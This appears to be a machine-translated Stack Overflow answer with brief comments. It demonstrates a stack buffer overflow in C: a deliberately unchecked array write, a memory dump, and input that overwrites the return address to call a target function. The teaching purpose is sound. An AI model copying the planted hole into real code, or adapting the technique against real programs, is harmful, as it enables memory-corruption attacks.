下面是一個利用我的系統上工作(在x86_64 GNU/Linux的GCC)。請不要告訴我,你已經嘗試過它,但它「沒有工作」 - 程序故意調用未定義的行爲,而這本質上是不可移植的。 C標準中沒有任何內容說編譯器必須生成易於以便攜方式利用的代碼。
舉一個完整的例子,我修改了一下代碼。首先,一些標題:
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
這是我們希望利用這個漏洞的功能:
static int
vulnerable(void)
{
uint64_t a[4];
int n;
int i;
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
printf("Enter the number of values: ");
scanf("%d", &n);
for (i = 0; i < n; ++i)
{
printf("Enter value %d of %d: ", i, n);
uint64_t temp;
scanf("%lX", &temp);
if (temp)
a[i] = temp;
}
for (i = 0; i < 10; ++i)
printf("a[%d] = 0x%016lX\n", i, a[i]);
return n;
}
我已經修改了代碼一點,這樣它將只寫非零值。這使得我們覆蓋不想覆蓋的東西的可能性更小。這當然是不必要的,因爲在這種情況下,我們可以簡單地輸入我們知道已存儲在地址中的值。
這裏是我們想調用的函數:
static void
target(void)
{
printf("Exploit succeeded!\n");
exit(0);
}
爲了避免閱讀彙編或反編譯的對象,我們將添加一些診斷輸出到main
功能。應該清楚的是,漏洞利用不依賴於此。
int
main()
{
assert(sizeof(void *) == sizeof(uint64_t)); /* (1) */
printf("%p return\n", (&&label)); /* (2) */
printf("%p target\n", target); /* (3) */
vulnerable();
label:
return 0;
}
行(1)只是爲了確保我們正在假設正確的地址大小。在第(2)行中,我們打印當vulnerable
被調用時在棧上的返回地址。 (&&label
語法是用於獲取標籤地址的GCC擴展。)第(3)行輸出目標函數的地址。
我們不希望編譯器做可能會破壞我們的漏洞,所以我們會禁用所有的優化和編譯,如智能的東西:
$ gcc -O0 -o main main.c -static
然後,當我們運行程序,它可能輸出以下:
$ ./main
0x400e44 return
0x400dfb target
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400E44
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
我們迅速發現返回地址偏移量爲7 我們不妨從認真閱讀彙編代碼獲得同樣的知識。知道什麼是我們必須做的,我們喂計劃用:
Enter the number of values: 8
Enter value 0 of 8: 0
Enter value 1 of 8: 0
Enter value 2 of 8: 0
Enter value 3 of 8: 0
Enter value 4 of 8: 0
Enter value 5 of 8: 0
Enter value 6 of 8: 0
Enter value 7 of 8: 0x400dfb
以下輸出告訴我們,我們已經成功地改寫了返回地址和該漏洞確實成功了。
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400DFB
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
Exploit succeeded!
目前尚不清楚你想要什麼,爲什麼。 – 2014-09-29 19:51:04
編寫更多數據,它最終會以足夠的數據崩潰。您需要覆蓋堆棧中存儲的返回值。 – m0skit0 2014-09-29 19:51:09
您將需要更多信息(或在試驗和錯誤期間耐心等待)才能成功利用此代碼。至少,你需要整個函數的代碼,並且知道體系結構,編譯器和操作系統。 – 5gon12eder 2014-09-29 19:51:32